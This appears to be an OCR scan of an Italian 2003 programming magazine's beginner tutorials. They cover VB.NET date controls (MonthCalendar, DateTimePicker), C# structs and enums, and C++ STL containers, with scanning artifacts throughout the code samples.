FirstDayOfWeek.Saturday, 7, Sabato 



INTERAZIONE 

DELL'UTENTE 

CON IL CONTROLLO 

MONTHCALENDAR 

L'utente può interagire con il controllo Month- 
Ccdendar in diverse maniere, alcuni delle quali 
non sono immediatamente chiare. Il metodo 
più evidente è quello di spostarsi al mese suc- 
cessivo o precedente facendo clic su uno dei 
due pulsanti a forma di freccia e posti in alto, 
accanto al titolo del controllo. 
Per spostarsi immediatamente in un qualsiasi 
mese dell'anno visualizzato si deve: 

• Cliccare, con il tasto sinistro del mouse, sul 
nome del mese visualizzato come titolo del 
controllo. In questo modo verrà visualizzato un 
menù a discesa che contiene i nomi di tutti i 
mesi. 

• Selezionare dall'elenco il mese desiderato. 

Per spostarsi immediatamente in un anno 
qualsiasi si deve: 

• Cliccare, con il tasto sinistro del mouse, sull'an- 
no visualizzato accanto al mese desiderato. In 
questo modo verranno visualizzati due pulsan- 
ti di selezione a scorrimento. 

• Cliccare sulle frecce, in alto o in basso, per spo- 
starsi su qualsiasi anno, futuro o precedente. 

Dopo aver selezionato il mese e l'anno deside- 
rato, risulta evidente che per selezionare una 
data si dovrà, semplicemente, fare clic su di 
essa. Per selezionare un intervallo di date si de- 
ve cliccare sulle date con il tasto Shift premuto 
oppure si può cliccare su una data e trascinare 
il mouse fino alla data successiva. Infine, per 
ritornare al giorno corrente, è sufficiente clicca- 
re con il tasto destro del mouse sul titolo del 
controllo e selezionare la voce vai ad oggi. 



FAR RISALTARE 
UNA DATA 

Il controllo MonthCalendar consente di attirare 
l'attenzione su alcune date del calendario, ad 
esempio le festività o i giorni di ferie, visualiz- 
zandole in grassetto una sola volta, una volta 
all'anno o una volta al mese. Per ottenere que- 
sta funzionalità, si devono aggiungere oggetti 
DateTime alle proprietà BoldedDates, Annually- 
BoldedDates e MonthlyBoldedDates. La proprietà 
BoldedDates contiene singole date, la proprietà 



Visual Basic .NET 



T CORSI BASE 



AnnuallyBoldedDates contiene date che vengono 
visualizzate in grassetto ogni anno e la pro- 
prietà MonthlyBoldedDates contiene date che 
vengono visualizzate in grassetto ogni mese. 
Ciascuna di queste proprietà contiene una 
matrice di oggetti DateTime. Per aggiungere o 
rimuovere una data da questi elenchi, è quindi 
necessario aggiungere o rimuovere un oggetto 
DateTime. 

In queste proprietà è possibile aggiungere, in 
fase di progettazione, in maniera molto sempli- 
ce, le date desiderate. E' sufficiente cliccare sul 
pulsante con i tre puntini accanto alle pro- 
prietà in esame, in modo da visualizzare la 
finestra Editor dell'insieme DateTime, ed 
aggiungere in questa finestra le date desidera- 
te. Per impostare la visualizzazione in grassetto 
di una singola data da codice, si devono utiliz- 
zare i metodi: 

AddBoldedDate. Introduce, nel controllo, un 
giorno da visualizzare in grassetto. 

AddAnnuallyBoldedDate. Introduce, nel control- 
lo, un giorno da visualizzare in grassetto con 
cadenza annuale. 

AddMonthlyBoldedDate. Introduce, nel control- 
lo, un giorno da visualizzare in grassetto con 
cadenza mensile 

Per tornare alla visualizzazione in caratteri nor- 
mali di una singola data in grassetto, si devono 
utilizzare i metodi: 

RemoveBoldedDate. Rimuove la data indicata, 
dall'elenco delle date visualizzate in grassetto 

RemoveAnnuallyBoldedDate. Rimuove la data 
indicata, dall'elenco delle date visualizzate in 
grassetto con cadenza annuale. 



l'intervallo selezionato dall'utente. 
Per questo possiamo scrivere: 

Private Sub MonthCalendarl_DateSelected(ByVal 
sender As Object, ByVal e As System. Windows. Forms. 
DateRangeEventArgs) Handles 

MonthCalendarl.DateSelected 

MonthCalendarl.AddBoldedDate(e. Start) 

'È necessario chiamare il metodo UpdateBoldedDates 

per fare in modo che la visualizzazione venga 
aggiornata in seguito alla selezione 

MonthCalendarl.UpdateBoldedDatesQ 

End Sub 



IL CONTROLLO 
DATETIMEPICKER 

Il controllo DateTimePicker (Controllo sele- 
zione date) può essere utilizzato in due 
modalità diverse: 

Modalità calendario a discesa (predefinita): 

consente di visualizzare un calendario a 
discesa per la selezione di una data. 

Modalità formato data e ora: consente di 
selezionare un campo nella visualizzazione 
delle date, in altre parole giorno, mese, anno 
e così via, e di impostarne il valore utilizzan- 
do le frecce accanto al controllo. 

Per determinare la modalità di visualizzazio- 
ne si deve usare la proprietà ShowUpDown. 
Se la proprietà è impostata su False, è attiva la 
modalità calendario a discesa, se invece è 
impostata su True, è attiva la modalità forma- 
to ora. Nella modalità calendario a discesa 
viene visualizzata una casella di testo con una 
freccetta verso il basso (lo stile del ComboBox 
per intenderci). 





GLOSSARIO 



MONTHCALENDAR 

Il controllo 
MonthCalendar si 
adatta 

automaticamente alle 
impostazioni 
internazionali del 
sistema permettendo 
la corretta 
visualizzazione dei 
nomi dei mesi e dei 
giorni. 



RemoveMonthlyBoldedDate. Rimuove la data 
indicata, dall'elenco delle date visualizzate in 
grassetto con cadenza mensile. 

Per visualizzare in grassetto la data selezionata 
dall'utente in fase di esecuzione, si deve scrive- 
re del codice nell'evento DateSelected. L'evento 
DateSelected si verifica nel momento in cui l'u- 
tente modifica la selezione di una data in modo 
esplicito, e riceve come argomento un oggetto 
DateRangeEventArgs che espone due proprietà: 

Start contiene il primo valore di data/ ora nel- 
l'intervallo selezionato dall'utente. 

End contiene l'ultimo valore di data/ ora nel- 




DATEINTERVAL 

Le possibili impostazioni dell'argomento intervallo sono: 

• Datelnterval.Day, d. Giorno; troncato al valore intero 

• Datelnterval. DayOfYear, y. Giorno dell'anno; troncato al valore intero 

• Datelnterval.Hour, h. Ora; arrotondato al millisecondo più vicino 

• Datelnterval. Minute, n, Minuto; arrotondato al millisecondo più vicino 

• Datelnterval. Month, m, Mese; troncato al valore intero 

• Datelnterval.Quarter, q. Trimestre; troncato al valore intero 

• Datelnterval. Second, s. Secondo; arrotondato al millisecondo più vicino 

• Datelnterval.Weekday, w. Giorno della settimana; troncato al valore 
intero 

• Datelnterval.WeekOfYear, ww. Settimana; troncato al valore intero 

• Datelnterval.Year, yyyy. Anno; troncato al valore intero. 




CORSI BASE T 



I 



Visual Basic .NET 





0E^B 

Se nella valorizzazione 

di una data non si 

include alcun valore 

data, VB imposta la 

parte del valore 

relativa alla data sull'1 

gennaio 0001. Se non 

si include alcuna ora, 

VB imposta la parte 

del valore relativa 

all'ora sull'inizio del 

giorno, valere a dire la 

mezzanotte (0.00.00). 

Un valore di ora può 

essere specificato nel 

formato 24 ore o 12 

ore. Se non viene 

specificato il valore 

AM o PM, sarà 

considerato valido il 

formato 24 ore. 



Ciascuna parte della data o dell'ora viene 
gestita come campo distinto su cui si può 
cliccare con il mouse per evidenziarlo, ed 
utilizzando i tasti di direzione è possibile 
incrementare o ridurre il valore evidenziato. 
Se l'utente clicca sulla freccetta, accanto alla 
casella di testo, viene visualizzato un calen- 
dario a discesa in cui è possibile "navigare" 
con le stesse modalità descritte per il con- 
trollo MonthCalendar, per selezionare la 
data desiderata. 

In modalità formato ora, sul lato destro del 
controllo vengono visualizzate due frecce di 
scorrimento su cui si può cliccare per incre- 
mentare o ridurre il valore del campo sele- 
zionato con il mouse. 

È inoltre possibile utilizzare il DateTime- 
Picker per visualizzare la data in diversi for- 
mati predefiniti utilizzando la proprietà 
Format, tra cui il formato Short (15/12/03), il 
formato Long (Lunedì, 15 Dicembre 2003) ed 
il formato Time (9.00.00 PM], nonché un for- 
mato personalizzato selezionando il valore 
Custom. 

La stringa di formato data/ora personalizza- 
ta deve essere inserita nella proprietà 
CustomFormat. Nella stringa di formattazio- 
ne possiamo specificare una combinazione 
qualsiasi tra le seguenti stringhe di formato 
valide: 

d Giorno a una o due cifre. 

dd Giorno a due cifre. Per i valori a una sola 
cifra, viene aggiunto uno zero iniziale. 

ddd Abbreviazione di tre caratteri del nome 
del giorno della settimana. 

dddd Nome del giorno della settimana com- 
pleto. 



Per determinare la data che deve essere 
visualizzata inizialmente nel controllo, si 
deve usare la proprietà Value (impostata per 
default alla data corrente). Ad esempio nel- 
l'evento Load della Form si può impostare la 
data d'interesse in questo modo: 

DateTimePickerl.Value = "01/12/03" 

La proprietà Value può essere usata per 
determinare la data o l'ora selezionata nel 
controllo, restituendo come valore una 
struttura DateTime. Numerose proprietà di 
questa struttura permettono di gestire facil- 
mente le date visualizzate. Tali proprietà 
sono però a sola lettura. Tra queste segnalia- 
mo: 

Month che restituisce un valore intero (da 1 
a 12) corrispondente al mese della data sele- 
zionata. 

Day che restituisce il numero del giorno 
selezionato (da 1 a 31). 

DayOfWeek che restituisce un valore che 
indica il giorno della settimana della data 
selezionata. 

Year che restituisce l'anno della data sele- 
zionata in forma di valore intero. 

Hour, Minute, Second e Milli second che re- 
stituiscono valori interi per le unità di tempo 
corrispondenti. 
Ad esempio l'istruzione: 

MessageBox.Show("Siamo nell'anno " & 

DateTimePickerl.Value. Year) 

Visualizza la stringa "Siamo nell'anno 2003" 



M Numero del mese a una o due cifre. 

MM Numero del mese a due cifre. 

MMM Abbreviazione di tre caratteri del 
nome del mese. 

MMMM Nome del mese completo. 

y Anno a una sola cifra. L'anno 2003, ad 
esempio, viene visualizzato come "3". 

yy Ultime due cifre dell'anno. L'anno 2003, 
ad esempio, viene visualizzato come "03". 

yyyy L'anno intero a quattro cifre. 



CONCLUSIONI 

In questo articolo abbiamo descritto due tra 
i più interessanti controlli di VB.Net, i con- 
trolli MonthCalendar e DateTimePickei; che 
consentono di presentare delle date con una 
visualizzazione grafica più chiara ed intuiti- 
va rispetto a quella di una casella di testo. 
Abbiamo inoltre colto l'occasione per rive- 
dere i concetti relativi alle operazioni con le 
date. 

Nel prossimo articolo continueremo ad 
esplorare i controlli messi a disposizione da 
VB. 

Luigi Buono 



c# 



T CORSI BASE 



I costrutti alternativi alle Classi 



Strutture 

ed enumerazioni 

Dopo aver acquisito in concetti fondamentali dell'ereditarietà e 
dell'uso delle interfacce, questo mese ci "riposeremo" assimilando 
alcuni costrutti più semplici, ma non per questo meno utili. 



Come promesso al termine della lezione 
precedente, questo mese ci occuperemo 
di due tra le più esclusive caratteristiche 
di C#: le strutture e le enumerazioni. Le prime 
permettono di generare oggetti che funzionano 
per valore anziché per riferimento, mentre le 
enumerazioni sono utili ogni volta che si deside- 
ra associare un concetto ad una progressione di 
numeri interi. Ogni arcano sarà svelato dai pros- 
simi paragrafi. 



STRUTTURE 

Le classi, che per diverse lezioni sono state il nostro 
principale oggetto di studio, sono tipi riferimento. 
Rinfreschiamoci la memoria su questo importante 
concetto: 



class Rettangolo { 


public int larghezza; 


public int altezza;} 


class Test { 


public static void Main() { 


Rettangolo ri = new RettangoloQ; 


ri. altezza = 10; 


ri. larghezza = 15; 


Rettangolo r2 = ri; 


r2. altezza = 20; 


r2. larghezza = 30; 


System. Console. WriteLine(" 


"1. altezza: ' 


+ ri. altezza); 


System. Console. WriteLine( 


'ri. larghezza: " + 

ri. larghezza); 


System. Console. WriteLine(" 


r2. altezza: 


' + r2. altezza); 


System. Console. WriteLine( 


'r2. larghezza: " + 

r2. larghezza);} } 



La classe Rettangolo genera un nuovo tipo riferi- 
mento. Lo possiamo verificare esaminando il risul- 
tato del MainQ- 



ri 


altezza: 


20 


ri 


larghezza: 30 


r2 


altezza: 


20 


r2. larghezza: 30 



Le due variabili ri ed r2, infatti, sono due alias dello 
stesso oggetto. Modificando le proprietà della prima 
si cambiano anche quelle della seconda, e viceversa. 

r2 = ri; 

Questa istruzione non ha causato la copia dell'og- 
getto Rettangolo creato per ri , ma solo una copia del 
riferimento allo stesso. Di fatto, ri ed r2 "puntano 
alla stessa porzione della memoria", se la vogliamo 
mettere in termini più prossimi a quelli di C++. 
Questo, invece, non avviene con i tipi valore, in cui 
un'operazione di assegnazione significa una copia 
del valore rappresentato dalla variabile. Gli interi, ad 
esempio, sono tipi valore: 



class Test { 


public static void Main() { 


int il = 5; 


int i2 = il; 


i2 = 10; 


System.Console.WriteLine("il: 


" + il); 


System. Console. WriteLine("i2: 


" + i2); }} 



Il risultato di questo codice è inequivocabile: 

il: 5 
i2: 10 

Quindi, tornando al fulcro del discorso, ogni volta 
che scriviamo una classe generiamo un modello per 
nuovi tipi riferimento. Benché nella maggior parte 
dei casi sia questo il comportamento che i program- 
matori preferiscono ottenere da un loro oggetto, ci 
sono delle situazioni in cui si desidera avere delle 




Q CD Q WEB 

coitici csharp20.zip 



*VL 



■ • ■ ' • ■ 




CORSI BASE T 



I 



C# 





COSA SONO LE 
STRUTTURE? 

Le strutture, per dirla 

in maniera 

semplicistica, sono 

delle classi che 

generano oggetti che 

si comportano come 

tipi valore. La parola 

chiave utile per la 

dichiarazione di una 

struttura è struct. 



classi che ragionino per valore, come gli interi. Un 
valido motivo per desiderare questo, ad esempio, è 
l'incremento delle prestazioni che se ne ricava, giac- 
ché ogni volta l'ambiente di runtime non deve attra- 
versare la fase di riconoscimento e decodifica dei 
riferimenti. Il ragionamento è valido quando si acce- 
de continuamente a piccoli oggetti, usati perlopiù 
per accoppiare una manciata di proprietà. C# viene 
in soccorso del programmatore, offrendo un 
costrutto alternativo alla classe: la struttura. Le strut- 
ture, per dirla in maniera semplicistica, sono delle 
classi che generano oggetti che si comportano come 
tipi valore. La parola chiave utile per la dichiarazio- 
ne di una struttura è struct. Il modello di riferimento 
per il suo impiego segue molto da vicino quello delle 
classi: 

struct NomeStruttura : Interfacce {} 

Cerchiamo di inquadrare al volo le principali diffe- 
renze che corrono tra una struttura ed una classe: 

Una struttura è gestita per valore, mentre una clas- 
se lo è per riferimento, e questo già lo sapevamo. 
Una struttura può implementare una o più inter- 
facce, ma al contrario di una classe non può esten- 
dere altre strutture. Insomma, nessun tipo di eredi- 
tarietà "pura" per le strutture. 
Una struttura può comprendere gli stessi tipi di 
membri tipici di una classe (metodi, proprietà e co- 
sì via). Tra questi, ci sono anche i costruttori. Tutta- 
via, non è detto che un costruttore venga sempre 
invocato. Dipende da come si genera l'oggetto che 
deriva dalla struttura. Se si usa l'operatore new, tutto 
è analogo a quello che accade con le classi. L'uso di 
new, tuttavia, non è obbligatorio. Nel momento in 
cui si dichiara una struttura, in memoria già è pron- 
to ogni suo dettaglio. Quindi, l'inizializzazione può 
avvenire in maniera automatica. Questo non accade 
con le classi, in cui l'allocazione della memoria e l'i- 
nizializzazione delle proprietà passano sempre 
attraverso un costruttore e l'operatore new. Andia- 
mo a mettere in pratica una struttura, riproponendo 
il primo esempio visto in questo paragrafo: 

struct Rettangolo { 
public int larghezza; 
public int altezza;} 
class Test { 
public static void Main() { 

Rettangolo ri; 

ri. altezza = 10; 

ri. larghezza = 15; 

Rettangolo r2 = ri; 

r2. altezza = 20; 

r2. larghezza = 30; 

System. Console. WriteLine("rl. altezza: " + ri. altezza); 

System. Console. WriteLine("rl. larghezza: " 




Ora l'output è profondamente diverso: 

rl.altezza: 10 
ri. larghezza: 15 
r2. altezza: 20 
r2. larghezza: 30 

Le variabili ri e r2 sono due oggetti distinti. 

r2 = ri; 

In questo caso, l'operazione appena mostrata signi- 
fica la copia dell'oggetto. Le strutture sono gestite 
come tipi valore. Si osservi, inoltre, come non sia 
stato impiegato l'operatore new, per generare l'i- 
stanza ri. Come si diceva prima, new può essere 
opzionalmente usato, nel caso in cui la struttura 
invocata disponga di uno o più costruttori. Ecco un 
semplice esempio: 

struct Rettangolo { 
public int larghezza; 
public int altezza; 
public Rettangolo(int a, int I) { 
altezza = a; 
larghezza = I;}} 
class Test { 
public static void Main() { 
Rettangolo ri = new Rettangolo(10, 15); 
Rettangolo r2 = ri; 
r2. altezza = 20; 
r2. larghezza = 30; 

System. Console. WriteLine("rl. altezza: " + rl.altezza); 
System. Console. WriteLine("rl. larghezza: " 

+ ri. larghezza); 
System. Console. WriteLine("r2. altezza: " + r2. altezza); 
System. Console. WriteLine("r2. larghezza: " 

+ r2. larghezza); } } 

Il codice è analogo al precedente, con la sola diffe- 
renza che ora la struttura Rettangolo dispone di un 
costruttore con due argomenti. Possiamo approfit- 
tarne per assegnare più velocemente le proprietà 
dell'oggetto ri: 

Rettangolo ri = new Rettangolo(10, 15); 



ENUMERAZIONI 

Le enumerazioni rappresentano un'altra delle carat- 
teristiche più esclusive di C#, nei confronti dei lin- 
guaggi di programmazione della stessa sfera di 




c# 



I 



T CORSI BASE 




applicazione (Java, insomma...). Per enumerazione 
si intende un insieme intero di costanti, ad ognuna 
delle quali è assegnato un nome e ad ognuna delle 
quali corrisponde un numero intero. Un esempio è 
meglio di mille altre parole: 

enum giorni_della_settimana { 
lunedì, martedì, mercoledì, giovedì, 
venerdì, sabato, domenica }; 

Ecco qui la nostra prima enumerazione. Questo 
costrutto genera sette distinte costanti: 




Ciascuna delle sette costanti corrisponde a un valo- 
re intero, assegnato automaticamente a partire dallo 
zero: 




Quindi, una enumerazione permette di avere un 
appiglio mnemonico ad un insieme di numeri inte- 
ri crescenti, a partire dallo zero. Le enumerazioni 
possono essere usate in qualità di membri di una 
classe o di una struttura. Andiamo a vedere un'ap- 
plicazione pratica del concetto: 

class Test { 

enum mesi { 

gennaio, febbraio, marzo, 
aprile, maggio, giugno, 
luglio, agosto, settembre, 
ottobre, novembre, dicembre}; 
public static void Main() { 
System. Console. Write("Digita un numero da a 11: "); 
string s = System. Console. ReadLineQ; 
mesi m = (mesi)int.Parse(s); 
switch (m) { 
case mesi. gennaio: 
System. Console. WriteLine("Gennaio"); 
break; 
case mesi. febbraio: 
System. Console. WriteLine("Febbraio"); 
break; 
case mesi. marzo: 




Per prima cosa, è stata dichiarata una enumerazione, 
valida per la rappresentazione dei mesi dell'anno: 

enum mesi { 
gennaio, febbraio, marzo, 
aprile, maggio, giugno, 
luglio, agosto, settembre, 
ottobre, novembre, dicembre 

}; 

Secondo la prassi, mesi.gennaio ha valore 0, 
mesi.febbraio è 1, mesi.marzo 2, e così via, fino ad 
arrivare a mesi.dicembre, il cui valore numerico èli. 
Quindi, viene dichiarata una variabile di tipo mesi. 
Questa variabile conterrà valori che vanno da 
mesi.gennaio (0) a mesi.dicembre (11). Si chiede 
all'utente di inserire un valore compreso nel range 
appena specificato. Il valore viene acquisito come 
stringa, con il metodo ReadLineQ, per essere poi 
convertito in un comune int (con int.Parse{s)). 
Prima di assegnare l'intero alla variabile di tipo mesi, 
è necessario un casting esplicito: c'è il rischio che il 
valore digitato sia all'infuori dell'intervallo concesso, 
ed il programmatore deve esserne consapevole. A 
questo punto, un costrutto switch confronta il dato 
immesso dall'utente con tutti i valori ammessi dal- 
l'enumerazione, generando un output in corrispon- 
denza del mese individuato. Normalmente, le enu- 
merazioni sono associate al tipo int, come nell'e- 
sempio appena visto. Ad ogni modo, è possibile 
creare enumerazioni sfruttando altri tipi numerici 
interi (tranne il chat). Ecco un esempio: 

enum mesi : byte { 
gennaio, febbraio, marzo, 
aprile, maggio, giugno, 
luglio, agosto, settembre, 
ottobre, novembre, dicembre 

}; 

Carlo Pelliccia 



BIBLIOGRAFIA 



• GUIDA A C# 
Herbert Schildt 
(McGraw-Hill) 
ISBN 88-386-4264-8 
2002 

• INTRODUZIONE A C# 
Eric Gunnerson 
(Mondadori 
Informatica) 

ISBN 88-8331-185-X 
2001 

• C# GUIDA PER 
LO SVILUPPATORE 
Simon Robinson e altri 
(Hoepli) 

ISBN 88-203-2962-X 
2001 




CORSI BASE T 



I 



C++ 




STL: contenitori, iteratori ed algoritmi 



Standard Template 
Library: i contenitori 

Abbiamo già avuto modo, in precedenza, di parlare della Standard 
Template Library (STL), un sottoinsieme delle librerie standard del 
C++. Guardiamo la struttura più in dettaglio! 




Q CD Q WEB 

Contenitori.cpp 



La Standard Template Library (STL) è un insie- 
me di librerie del C++ il cui scopo è di stan- 
dardizzare l'utilizzo di alcune tipologie di 
oggetti che sono indispensabili nella normale pro- 
grammazione, ma che non sono implementati a 
livello di linguaggio. Un classico esempio di questa 
situazione è costituito dall'utilizzo di array per 
l'immagazzinamento in memoria di oggetti creati 
a run-time. Il problema più comune in questo caso 
è la dimensione dell' array stesso, che deve essere 
stabilita a priori rispetto all'inserimento degli 
oggetti al suo interno. Questo rende molto difficol- 
toso e macchinoso l'inserimento di un numero 
maggiore di elementi, in quanto è necessario: 

• allocare un nuovo array più capiente 

• copiare tutti gli elementi del vecchio array sul 
nuovo 

• distruggere il vecchio array, ormai inutile. 

Sarebbe bello, in altre parole, avere un oggetto 
che rendesse trasparente questo tipo di opera- 
zioni e consentisse una semplice scrittura di 
codice simile al seguente: 



Conten 


itore e; 








bool finito = false; 


while ( 


! finito) 






{ 


c.inserisci(dato); 






//modifica della variabile 


"finito" qui 




//in pratica il ciclo 


viene 


ripetuto un numero 




//di volte sconosci 


uto al 


programmatore 


} 



Come si può intuire, la funzione (fittizia, inventa- 



ta da noi) inseriscici può essere utilizzata un nu- 
mero indefinito di volte, senza doverci preoccu- 
pare di ridimensionare l'oggetto Contenitore, in 
quanto questa operazione è compiuta dalla sua 
logica interna, in maniera a noi del tutto traspa- 
rente. Per questa e altre esigenze di programma- 
zione è stata progettata la STL che, come il nome 
stesso suggerisce, è basata sui template. Median- 
te questi, come abbiamo già visto, si raggiungono 
essenzialmente due importanti obiettivi: effi- 
cienza ed estensibilità del codice. 
Nella STL trovano posto sia funzioni che classi 
basate su template, e questa caratteristica ne 
facilita l'uso sia coi tipi predefiniti (int, char ecc.) 
che con quelli definiti dall'utente (ad esempio le 
classi). Nella STL trovano posto tre categorie di 
concetti: 

• contenitori: oggetti il cui scopo è contenere 
altri oggetti (vettori, liste, pile ecc.); 

• iteratori: oggetti il cui scopo è quello di "visi- 
tare" il contenuto di un contenitore, cioè 
estrarre da esso gli oggetti che vi abbiamo in- 
serito; 

• algoritmi: sono le implementazioni dei prin- 
cipali algoritmi informatici (ordinamento, 
ricerca di un particolare elemento ecc.) e 
fanno uso di contenitori e iteratori. 



IL CONCETTO 

DI CONTENITORE 

Un contenitore è essenzialmente un insieme di 
oggetti gestito mediante una certa politica. 
Di esempi di contenitori la letteratura informati- 
ca è piena, basti pensare ai principali (ad es. liste, 




c++ 



I 



T CORSI BASE 




code, pile) per vedere che in effetti essi sono 
caratterizzati dal modo in cui gestiscono il pro- 
prio contenuto: ad esempio, per le code si dice 
che si adotta la politica FIFO (First In First Out, 
cioè chi prima arriva viene servito per primo), 
per le pile si usa la UFO (Last In First Out, l'ulti- 
mo arrivato è il primo servito), ecc. I contenitori 
della STL sono caratterizzati dall'avere poche 
funzioni membro, essenziali allo svolgimento dei 
task più elementari (creazione, distruzione, 
copia, aggiunta ed eliminazione di un elemento) . 
Nei contenitori non trovano posto funzioni 
membro che facciano riferimento a delle specifi- 
che strutture dei propri elementi (questo com- 
porterebbe una diminuzione della portabilità 
della libreria!): qualora fosse necessario, un 
approccio per dotare un contenitore predefinito 
di funzioni specifiche per il nostro programma è 
quello di dichiarare una nuova classe, la quale 
erediti la struttura del contenitore, e quindi 
aggiunga i nuovi metodi necessari (ed ogni altra 
cosa faccia riferimento ad aspetti specifici del 
nostro programma). 

I contenitori (lo si vedrà, ma soprattutto lo si 
imparerà, facendo esperienza) sono necessari, in 
quanto nei nostri programmi gli oggetti vengono 
continuamente creati e distrutti, e abbiamo biso- 
gno di un elemento unificatore che ci permetta 
di averli tutti sempre sotto controllo e facilmente 
accessibili: se per ogni programma costruissimo 
qualcosa di analogo in maniera dedicata, proba- 
bilmente ci sveglieremmo una mattina, dopo 
atroci incubi, con qualche capello in meno, e 
decideremmo di dare uno sguardo a quanto 
abbiamo deliberatamente ignorato per anni 
(cioè la STL). Alla base dei contenitori presenti 
nella STL c'è una distinzione: un contenitore può 
essere una sequenza o un insieme associativo 
(Fig. 1). 

La differenza tra i due tipi è nel modo in cui ci si 
riferisce agli elementi. Nelle sequenze, ha senso 
parlare di un predecessore e di un successore di 
un certo elemento, e ci si riferisce ad un elemen- 
to specificandone la posizione all'interno del 
contenitore. In un insieme associativo ogni 
oggetto nel contenitore è identificato da un'eti- 
chetta, e ci si riferisce ad esso attraverso tale eti- 
chetta (che è detta chiave). A ben vedere, almeno 
dal punto di vista logico, le sequenze altro non 
sono che insiemi associativi, in cui le etichette 
degli elementi sono degli interi (che identificano 
la posizione). 

Ad essere più precisi, il concetto di successore e 
predecessore esiste anche per gli insiemi asso- 
ciativi, tuttavia (in assenza di ordinamento) dato 
un elemento, i suoi successore e predecessore 
sono completamente casuali, mentre in una 
sequenza l'ordinamento è implicito. 



LA CATEGORIA 
DELLE SEQUENZE 

Della categoria delle sequenze fanno parte tre 
classi fondamentali, che da sole rappresentano il 
90% dei bisogni di immagazzinamento oggetti di 
un programmatore: vector, list e deque. Le princi- 
pali differenze tra l'utilizzo di queste classi risie- 
dono nel tipo di operazioni che verranno svolte 
sugli oggetti istanziati: la scelta dipenderà quindi 
dal contesto all'interno del quale verranno usati 
questi contenitori, più che dalle loro caratteristi- 
che esterne. 




1 

2 
3 
4 
5 
6 




chiave 


(b) 


contenitore 






oggetto 
eh ave 






^A ZI \ 




\ 




I z\ 


li k- 


-H 1 




Z i 






\ i \~- 








■~---| | / 






(a) 



Fig. 1: Come possiamo immaginare una sequenza (a) ed un insieme associativo (b). 



Ad esempio se vogliamo avere una struttura che 
verrà riempita una sola volta all'inizio e sulla 
quale verranno effettuate essenzialmente opera- 
zioni di lettura casuale degli elementi (del tipo: 
"Dammi il primo elemento... dammi l'elemento 
7... l'elemento 12" e così via) possiamo tranquil- 
lamente orientarci sull'uso di vector, il quale, 
avendo una struttura interna basata su array, 
rende veloci questo tipo di operazioni. Se abbia- 
mo bisogno invece di effettuare frequenti inseri- 
menti di oggetti all'inizio o alla fine del conteni- 
tore, possiamo orientarci sul tipo deque (che si 
pronuncia "dee"). Questo tipo implementa il 
concetto informatico di "doublé ended queue" cioè 
"coda doppia" (si considera "terminale" della 
struttura sia la sua testa che la sua coda) e rende 
gli accessi casuali veloci quasi quanto quelli for- 
niti da vector, ma garantisce una velocità decisa- 
mente maggiore quando si tratta di effettuare il 
tipo di inserimenti in questione. Qualora invece 
non fossimo interessati alla velocità di estrazione 
degli elementi ma avessimo invece bisogno di 
effettuare frequenti inserimenti nel mezzo del 
nostro contenitore (cioè né all'inizio né alla fine), 
la nostra scelta inevitabilmente dovrà ricadere 
sul tipo list, che implementa il concetto informa- 
tico di "lista collegata". Una lista collegata è 
costituita da tante "celle" destinate a contenere 



L'UTILITÀ DEI 
CONTENITORI 

I contenitori sono 
necessari, in quanto 
nei nostri programmi 
gli oggetti vengono 
continuamente creati e 
distrutti, e abbiamo 
bisogno di un 
elemento unificatore 
che ci permetta di 
averli tutti sempre 
sotto controllo e 
facilmente accessibili. 



Dicembre 2003/101 ► 




CORSI BASE T 



I 



C++ 






APPROFONDIMENTI 



A chi volesse 

approfondire la sua 

conoscenza sulle 

librerie standard del 

C++, consigliamo il 

validissimo libro 

"Thinking in C++ - 2nd 

ed. - Volume 2" di 

Bruce Eckel e Chuck 

Allison, che 

rappresenta 

sicuramente un ottimo 

riferimento per i 

programmatori più 

avanzati (o aspiranti 

tali) ed è oltretutto 

disponibile 

gratuitamente per il 

download, partendo 

dall'indirizzo 

http://www.mindview,net 

/Books/TICPP/ThinkinglnC 

PP2e.html 

Se volete invece dare 

un'occhiata a una 

reference delle 

funzioni standard del C 

per la manipolazione 

di stringhe (o meglio: 

di array di caratteri 

terminati da "\0" :-) 

consultate l'indirizzo: 

http://www.cplusplus.com 

/ref/cstring/ 



l'elemento che viene inserito; ogni cella ha in più 
due puntatori: uno alla cella precedente (chia- 
miamolo punt_prec) e uno a quella successiva 
(punt_succ). È evidente che con questa struttura 
l'inserimento nel mezzo risulta molto veloce in 
quanto basta svolgere le seguenti operazioni: 

• creare una nuova cella con l'elemento da inse- 
rire in posizione n 

• far puntare punt_succ della cella n-1 e 
punt_prec della cella n (che diventerà n+1 dopo 
l'inserimento) alla nuova cella creata 

• impostare punt_succ e punt_prec della nuova 
cella, in modo da farli puntare alle celle adia- 
centi 

In sostanza quindi si tratta di fare una allocazio- 
ne e sovrascrivere pochi valori relativi ai puntato- 
ri da cambiare. 

Vengono del tutto evitate copie di buffer di 
memoria da una zona all'altra, copie che invece 
sarebbero indispensabili nel caso di utilizzo di 
vettori (che si basano su array e richiedono, 
come visto in precedenza, nuove allocazioni e 
copie di tutti i valori) e nuove allocazioni (che 
richiedono accesso ai servizi del sistema operati- 
vo e quindi sono lente) . 



CHE COS'È 
UHI VECTOR 

Un vector è una sequenza di oggetti accessibili 
rapidamente in modo casuale, allo stesso modo 
in cui si fa con un array. Useremo questo tipo 
come esempio generico per questa categoria di 
contenitori, in quanto sia list che deque presenta- 
no più o meno gli stessi metodi (per vedere le 
esatte differenze è utile consultare una referen- 
ce). Istanziare un oggetto di tipo vector è sempli- 
cissimo, esso è un template, quindi sarà necessa- 
rio utilizzare la sintassi tipica di questo costrutto: 

#include <vector> 

using namespace std; 

//... all'interno del codice... 

//un vettore di un tipo predefinito: 

vector<int> vettorejnteri; 

//un vettore di un tipo definito dall'utente: 

vector<MiaClasse> mio_vettore; 

L'operazione di inserimento di un elemento in 
un vector avviene tramite la funzione membro 
push_backO- 

Questa realizza l'inserimento alla fine del vetto- 
re, in altre parole l'ultimo elemento inserito sarà 



anche l'ultimo elemento del vettore (cioè quello 
con l'indice più alto), list e deque presentano 
anche una analoga funzione, chiamata push_ 
fronti), in cui l'ultimo elemento inserito diventa il 
primo nell'ordinamento del contenitore (si tratta 
di un "inserimento in testa" anziché "in coda" 
come il precedente). Ad esempio per riempire un 
vector con i numeri da 1 a 10 è possibile utilizza- 
re il seguente codice: 

vector<int> i_primi_10; 

for (int i=0;i<10;i+ + ) 

i_primi_10.push_back(i + l); 

Nulla di più semplice! Da notare il fatto che in 
nessuna parte del codice è stata specificata la 
dimensione del vettore: abbiamo soltanto 
aggiunto elementi, senza preoccuparci di alloca- 
re memoria o di utilizzare l'indice giusto, come 
invece avremmo dovuto fare per un array di inte- 
